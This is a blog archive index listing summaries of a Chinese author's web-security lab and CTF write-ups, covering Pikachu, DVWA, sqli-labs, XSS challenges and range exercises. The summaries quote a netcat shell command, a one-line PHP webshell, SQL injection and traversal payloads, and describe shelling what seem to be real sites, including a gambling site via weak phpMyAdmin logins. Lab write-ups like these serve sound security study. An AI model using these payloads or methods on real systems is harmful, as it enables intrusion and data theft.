02 2020 档案

Pikachu-目录遍历
摘要：目录遍历漏洞概述 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量，从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时，便会将请求的这个文件的值(比如文件名称)传递到后台，后台再执行其对应的文件。 在这个过程中，如果后台没有对前端传进来的值进行严格的安全考虑，则攻击者可能会通过 阅读全文
posted @ 2020-02-23 23:51 joker0xxx3 阅读(816) 评论(0) 推荐(0)
Pikachu-敏感信息泄露
摘要：敏感信息泄露概述 由于后台人员的疏忽或者不当的设计，导致不应该被前端用户看到的数据被轻易的访问到。 比如： 通过访问url下的目录，可以直接列出目录下的文件列表; 输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息; 前端的源码（html,css,js）里面包含了敏感信 阅读全文
posted @ 2020-02-23 23:50 joker0xxx3 阅读(1769) 评论(0) 推荐(0)
Pikachu-暴力破解
摘要：Burte Force（暴力破解）概述 “暴力破解”是一攻击具手段，在web攻击中，一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录，直到得到正确的结果。 为了提高效率，暴力破解一般会使用带有字典的工具来进行自动化操作。 理论上来说，大多数系统都是 阅读全文
posted @ 2020-02-23 23:49 joker0xxx3 阅读(449) 评论(0) 推荐(0)
Pikachu-XXE（xml外部实体注入漏洞）
摘要：XXE -"xml external entity injection"既"xml外部实体注入漏洞"。概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部 阅读全文
posted @ 2020-02-23 23:44 joker0xxx3 阅读(2857) 评论(1) 推荐(1)
Pikachu-XSS（跨站脚本）
摘要：XSS（跨站脚本）概述 Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型： 1.反射性XSS; 2.存储型XSS; 3.DOM型XSS; XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWA 阅读全文
posted @ 2020-02-23 23:41 joker0xxx3 阅读(294) 评论(0) 推荐(0)
Pikachu-URL重定向
摘要：不安全的url跳转 不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题。 url跳转比较直接的危害是:-->钓鱼,既攻击者使用漏洞方的域 阅读全文
posted @ 2020-02-23 23:37 joker0xxx3 阅读(639) 评论(0) 推荐(0)
Pikachu-Unsafe Fileupload（不安全的文件上传）
摘要：不安全的文件上传漏洞概述 文件上传功能在web应用系统很常见，比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后，后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等，然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断 阅读全文
posted @ 2020-02-23 23:36 joker0xxx3 阅读(864) 评论(0) 推荐(0)
Pikachu-Unsafe Filedownload（不安全的文件下载）
摘要：不安全的文件下载概述 文件下载功能在很多web系统上都会出现，一般我们当点击下载链接，便会向后台发送一个下载请求，一般这个请求会包含一个需要下载的文件名称，后台在收到请求后 会开始执行下载代码，将该文件名对应的文件response给浏览器，从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下 阅读全文
posted @ 2020-02-23 23:34 joker0xxx3 阅读(239) 评论(0) 推荐(0)
Pikachu-SSRF(服务器端请求伪造)
摘要：SSRF(Server-Side Request Forgery:服务器端请求伪造) 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据数据流:攻击者 >服务器 > 阅读全文
posted @ 2020-02-23 23:32 joker0xxx3 阅读(669) 评论(0) 推荐(0)
Pikachu-Sql Inject(SQL注入)
摘要：在owasp发布的top10排行榜里，注入漏洞一直是危害排名第一的漏洞，其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞，可能会直接导致一家公司破产！SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中 阅读全文
posted @ 2020-02-23 23:30 joker0xxx3 阅读(499) 评论(0) 推荐(0)
Pikachu-RCE(远程命令/代码执行漏洞)
摘要：RCE(remote command/code execute)概述 RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。 远程系统命令执行一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器、防火墙、入侵检测等设备的 阅读全文
posted @ 2020-02-23 23:21 joker0xxx3 阅读(916) 评论(0) 推荐(0)
Pikachu-php反序列化
摘要：在理解这个漏洞前,你需要先搞清楚php中serialize()，unserialize()这两个函数。 序列化serialize()序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: class S{ public $test="pikachu"; } $s=new S(); / 阅读全文
posted @ 2020-02-23 23:18 joker0xxx3 阅读(1271) 评论(0) 推荐(0)
Pikachu-over permission（越权操作）
摘要：如果使用A用户的权限去操作B用户的数据，A的权限小于B的权限，如果能够成功操作，则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。 一般越权漏洞容易出现在权限页面（需要登录的页面）增、删、改、查的的地方，当用户对权限页面内的信息进行这些操作时，后台需要对 对当前用户的权 阅读全文
posted @ 2020-02-23 23:14 joker0xxx3 阅读(335) 评论(0) 推荐(0)
Pikachu-File Inclusion(文件包含漏洞)
摘要：File Inclusion(文件包含漏洞)概述 文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了：include(),include_once()require(),require_onc 阅读全文
posted @ 2020-02-23 23:11 joker0xxx3 阅读(391) 评论(0) 推荐(0)
Pikachu-CSRF(跨站请求伪造)
摘要：Cross-site request forgery 简称为“CSRF”，在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念，甚至有 阅读全文
posted @ 2020-02-23 23:09 joker0xxx3 阅读(408) 评论(0) 推荐(0)
DVWA-命令执行
摘要：开门见山 ·Low ·Medium ·High · 命令执行监听端口 ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe nc 192.168.31.100 4444 · 反弹shell 拷贝shell文件 启动kali的apache服 阅读全文
posted @ 2020-02-06 15:41 joker0xxx3 阅读(453) 评论(0) 推荐(0)
DVWA-目录遍历-文件包含
摘要：开门见山 · 目录遍历 替换成 2. 文件包含可以使用 绝对路径 也可以 3. 可以使用文件包含来包含一个网址，或者是一个shell 远程文件 空字符绕过字符过滤 %00 阅读全文
posted @ 2020-02-06 15:37 joker0xxx3 阅读(640) 评论(0) 推荐(0)
DVWA--文件上传
摘要：开门见山 1. 准备一个shell <?php echo shell_exec($_GET['cmd']);?> 2. 上传文件 3. 利用shell 4. Burp抓包，1是文件大小，2是文件类型 5. mimetype判断文件类型 6. 使用1.php.jpg 绕过一些文件后缀检查 7. 图片1 阅读全文
posted @ 2020-02-06 15:24 joker0xxx3 阅读(240) 评论(0) 推荐(0)
纯手工注入
摘要：开门见山 昨年提交补天的一个漏洞。扫到一个站存在SQL注入，放到阿D、明小子上猜解失败，欲放弃，突然打算试一下手工注入。 1. 验证是否可注入 http://www.xxx.com.cn/product-detail.php?pid=21’ 再用 and 1=1和 and 1=2验证 确定有注入 2 阅读全文
posted @ 2020-02-05 21:56 joker0xxx3 阅读(347) 评论(0) 推荐(0)
phpmyadmin拿网站shell
摘要：开门见山 1. 找到一个赌博网站，发现存在php探针界面，在下面输入密码尝试用弱口令进行连接，尝试是否成功 失败的结果是这样。 2. 成功！ 3. 连接成功的，点击phpMyAdmin管理，进行弱口令登陆，登陆成功了 4. 使用刚才尝试的弱口令进行登陆 6. 成功进入到管理后台中。 7. 执行sql 阅读全文
posted @ 2020-02-05 20:29 joker0xxx3 阅读(391) 评论(0) 推荐(0)
CTF-域渗透--HTTP服务--命令注入2
摘要：开门见山 1. 启动metasploit 2. 设置参数参数选项 3. 查看最后设置后的结果 4. 启动监听 5. 使用msfvemon制作webshell 6. 开启apache服务 7. 使用bash64对命令进行加密，为此绕过防火墙 8. 通过burpsuite抓包改包上传，把文件名改为命令执 阅读全文
posted @ 2020-02-05 17:47 joker0xxx3 阅读(307) 评论(0) 推荐(0)
CTF-域渗透--HTTP服务--命令注入1
摘要：开门见山 1. 扫描靶机ip，发现PCS 192.168.31.210 2. 用nmap扫描开放服务和服务版本 3. 再扫描全部信息 4. 探测http服务的目录信息 5. 再用dirb扫描 6. 查看敏感页面，在/robots.txt 中发现一个 /nothing，打开并查看源代码 7. 打开 / 阅读全文
posted @ 2020-02-05 17:30 joker0xxx3 阅读(477) 评论(0) 推荐(0)
CTF-域渗透--HTTP服务--命令执行
摘要：开门见山 1. 扫描靶机ip，发现PCS 172.18.5.1 2. 用nmap扫描靶机开放服务和服务版本 3. 再扫描靶机全部信息 4. 用nikto工具扫描http服务的敏感信息 5. 打开浏览器查看发现的网页 6. 查看临时缓冲目录 7. 查看home目录，挖掘用户信息 8. 查看具体用户的目 阅读全文
posted @ 2020-02-05 17:15 joker0xxx3 阅读(385) 评论(0) 推荐(0)
CTF-域渗透--HTTP服务--命令执行（使用集成工具测试）
摘要：开门见山 1. 扫描靶机ip，发现PCS 192.168.1.158 2. 用sparta工具对靶机进行信息探测 3. 扫描结果 4. 在浏览器中查看80端口的页面 5. 查看网站信息 6. 暴力破解站点目录下的文件 7. 查看用nikto扫描出的一个敏感页面 8. 查看源代码中发现注释中存在has 阅读全文
posted @ 2020-02-05 17:11 joker0xxx3 阅读(380) 评论(0) 推荐(0)
CTF-域渗透--HTTP服务--路径遍历（提升root用户权限）
摘要：开门见山 1. 在上次实验取的靶机低用户权限，查看该系统的内核版本 2. 查看该系统的发行版本 3. 查看该内核版本是否存在内核溢出漏洞，并没有 如果有内核溢出漏洞，则可以 4. 在靶机查看/etc/passed文件 5. 查看/etc/shadow文件，并无权限查看 6. 查看靶机时候具有可写权限 阅读全文
posted @ 2020-02-05 17:03 joker0xxx3 阅读(847) 评论(0) 推荐(0)
CTF-域渗透--HTTP服务--路径遍历（拿到www-data用户权限）
摘要：开门见山 1. 扫描靶机ip，发现PCS 172.18.4.20 2. 用nmap扫描靶机开放服务及版本 3. 再扫描靶机的全部信息 4. 用nikto工具探测http服务敏感信息 5. 用dirb工具探测http服务敏感信息 6. 打开敏感页面进行查看 7. 使用OWASP-ZAP工具对网站进行扫 阅读全文
posted @ 2020-02-05 16:57 joker0xxx3 阅读(1013) 评论(0) 推荐(0)
CTF-域渗透--HTTP服务--暴力破解
摘要：开门见山 1. 扫描靶机ip，发现PCS 192.168.1.103 2. 用nmap扫描靶机开放服务和服务版本 3. 再扫描全部信息 4. 用nikto探测敏感文件 5. 打开敏感网页发掘信息 6. 找到登陆界面 7. 用wpscan对该站点进行枚举，查看是否具有admin用户名 8. 使用met 阅读全文
posted @ 2020-02-05 16:37 joker0xxx3 阅读(640) 评论(0) 推荐(0)
CTF-域渗透--HTTP服务--SSI注入
摘要：开门见山 1. 扫描靶场ip，发现VM 192.168.31.160 2. 扫描主机服务信息和服务版本 3. 快速扫描靶场全部信息 4. 探测开放的http的敏感信息 5. 再用dirb扫描敏感页面 6. 查看敏感页面发现信息 7. 查看下载的文件内容 8. 利用ssL注入漏洞 9. 在前面加！和 阅读全文
posted @ 2020-02-04 23:45 joker0xxx3 阅读(644) 评论(2) 推荐(0)
CTF-域渗透--HTTP服务--SQL注入-X-Forwarded-For报文头
摘要：开门见山 1. 扫描靶场ip，发现PCS 192.168.31.196 2. 扫描靶场开放服务信息 3. 扫描靶场全部信息 4. 探测敏感信息 5. 查看靶场80端口的主界面 6. 使用AVWS工具进行漏洞检测，发现有盲注漏洞 7. 使用sqlmap对漏洞进行注入 8. 对photoblog数据库进 阅读全文
posted @ 2020-02-04 22:02 joker0xxx3 阅读(399) 评论(0) 推荐(0)
CTF-域渗透--HTTP服务--SQL注入POST参数-注入HTTP报文
摘要：开门见山 1. 扫描靶机 2. 对靶机开放端口进行扫描 3. 扫描全部信息 4. 用nikto -host 探测敏感信息 5. 用dirb探测敏感目录 6. 打开一些目录探测出的网页进行查看 7. 再对8080端口进行探测 8. 用OWASP-ZAP对靶场80开放的http服务进行扫描探测，没有大的 阅读全文
posted @ 2020-02-04 20:11 joker0xxx3 阅读(963) 评论(0) 推荐(0)
CTF-域渗透--HTTP服务--SQL注入GET参数
摘要：开门见山 1. 扫描靶机ip，发现PCS 192.168.31.37 2. 用nmap扫描开放端口信息 3. 快速扫描全部信息 4. 探测敏感信息 5. 用浏览器打开用户登录页面 6. 使用OWASP-ZAP扫描漏洞 7. 利用漏洞，使用sqlmap检测是否可以注入 8. 获取数据库 9. 使用ph 阅读全文
posted @ 2020-02-04 19:12 joker0xxx3 阅读(543) 评论(0) 推荐(0)
CTF-域渗透--HTTP服务--PUT上传漏洞
摘要：开门见山 1. 扫描靶机ip，发现PCS 192.168.31.48 2. 用nmap扫描靶机的开放服务和版本信息 3. 再扫描全部信息 4. 用nikto探测靶机http服务敏感信息 5. 再用dirb扫描http敏感目录 6. 使用OWASP-ZAP对站点进行扫描，并没有大的漏洞 7. 对敏感目 阅读全文
posted @ 2020-02-04 17:44 joker0xxx3 阅读(767) 评论(0) 推荐(0)
CTF-域渗透--靶场夺旗
摘要：开门见山 1. 扫描靶场ip 192.168.1.106 2. 扫描靶场开放端口 3. 扫描靶场全部信息 4. 探测靶场敏感信息 5. 对一些特殊的端口进行nc探测 6. 为了绕过对应命令执行限制，可以使用相近命令来代替限制的shell命令 例：cat - more 阅读全文
posted @ 2020-02-04 17:06 joker0xxx3 阅读(645) 评论(0) 推荐(0)
CTF-域渗透--私钥泄漏
摘要：开门见山 准备靶机阶段 1. 查看本机ip和网段 2. 扫描本机网段，出现PCS 3. 确定是否与靶场连通 私钥泄漏 1. 信息探测 nmap -sV 192.168.31.217 2. 通过浏览器查看此ip开放的端口号为31337的http服务 3. 查看此网页的源代码 4. 对这个服务的隐藏文件 阅读全文
posted @ 2020-02-04 16:52 joker0xxx3 阅读(341) 评论(0) 推荐(0)
CTF-域渗透--SSH服务
摘要：开门见山 一、CTF-SSH服务测试（拿到第一个用户权限） 1. 探测靶场开放的服务与服务的版本 2. 探测靶场全部信息 3. 探测靶场的操作系统类型与版本 4. 用浏览器查看目的ip开放的80服务 5. 用dirb工具对网页进行探测 6. 打开/icons 的页面 7. 发现ssh的私钥 8. 再 阅读全文
posted @ 2020-02-04 16:16 joker0xxx3 阅读(420) 评论(0) 推荐(0)
CTF-域渗透--SMB信息泄露
摘要：开门见山 1. 用netdiscover -r 扫描与攻击机同一网段的靶机，发现PCS 2. 扫描靶场开放信息 3. 挖掘靶场全部信息 4. 针对SMB协议，使用空口令，若口令尝试登录，并查看敏感文件 5. 查看print文件夹，连接失败没有对应权限 6. 查看share文件夹，可以连接并查看 7. 阅读全文
posted @ 2020-02-04 16:05 joker0xxx3 阅读(691) 评论(0) 推荐(0)
CTF-域渗透--FTP服务后门利用
摘要：开门见山 1. 扫描同网段的靶场机，发现PCS，192.168.31.137 2. 扫描靶场机服务信息和服务版本 3. 快速扫描靶场机全部信息 4. 发现开放ftp服务，并扫描此ftp软件版本是否存在漏洞 5. 查看该漏洞存在的目录及分目录，并查看内容 6. 启动metasploit，利用metas 阅读全文
posted @ 2020-02-04 15:51 joker0xxx3 阅读(772) 评论(0) 推荐(0)
LFI_labs学习笔记
摘要：开门见山 1. 简单文件包含 获取敏感文件 http://172.18.4.212/LFI-1/?page=../phpinfo.php 换成.txt也可以成功显示php代码界面 2. 文件包含00截断绕过 3. 点加斜杠绕过 Phpinfo.php./ 4.去掉后缀名绕过 5. 双写绕过 ../ 阅读全文
posted @ 2020-02-03 16:41 joker0xxx3 阅读(2704) 评论(0) 推荐(0)
XSS Challenges学习笔记 Stage#1~ Stage#19
摘要：开门见山 Stage #1 http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9 这一道题发现我们写入的内容直接没有任何过滤，嵌套在一个<b>标签里面，我们常规闭合标签新建标签即可。 <b><script>al 阅读全文
posted @ 2020-02-03 15:16 joker0xxx3 阅读(1091) 评论(0) 推荐(0)
sqli_labs学习笔记（一）Less-54~Less-65
摘要：续上，开门见山 暴库： http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,database() --+ challenges 爆表： http://43.247.91.228:84/Less-54/?id=-1' union selec 阅读全文
posted @ 2020-02-02 23:34 joker0xxx3 阅读(316) 评论(0) 推荐(0)
sqli_labs学习笔记（一）Less-38~Less-53
摘要：续上，开门见山 堆叠注入，实际上就构成了两条SQL语句 http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3 --+ //未报错 http://43.247.91.228:84/Less-38/?id=1' union select 1, 阅读全文
posted @ 2020-02-02 17:56 joker0xxx3 阅读(213) 评论(0) 推荐(0)
sqli_labs学习笔记（一）Less-21~Less-37
摘要：续上，开门见山 Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入) 登录后页面 圈出来的地方显然是base64加密过的，解码得到：admin，就是刚才登陆的uname，所以猜测：本题在cooki 阅读全文
posted @ 2020-02-02 16:33 joker0xxx3 阅读(589) 评论(0) 推荐(0)
sqli_labs学习笔记（一）Less-1~Less-20
摘要：开门见山 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) · 方法一：手工UNION联合查询注入 输入单引号，页面报错， 注意 id=非正确值 爆库payload http://43.247.91.228:84/ 阅读全文
posted @ 2020-02-01 23:32 joker0xxx3 阅读(907) 评论(0) 推荐(1)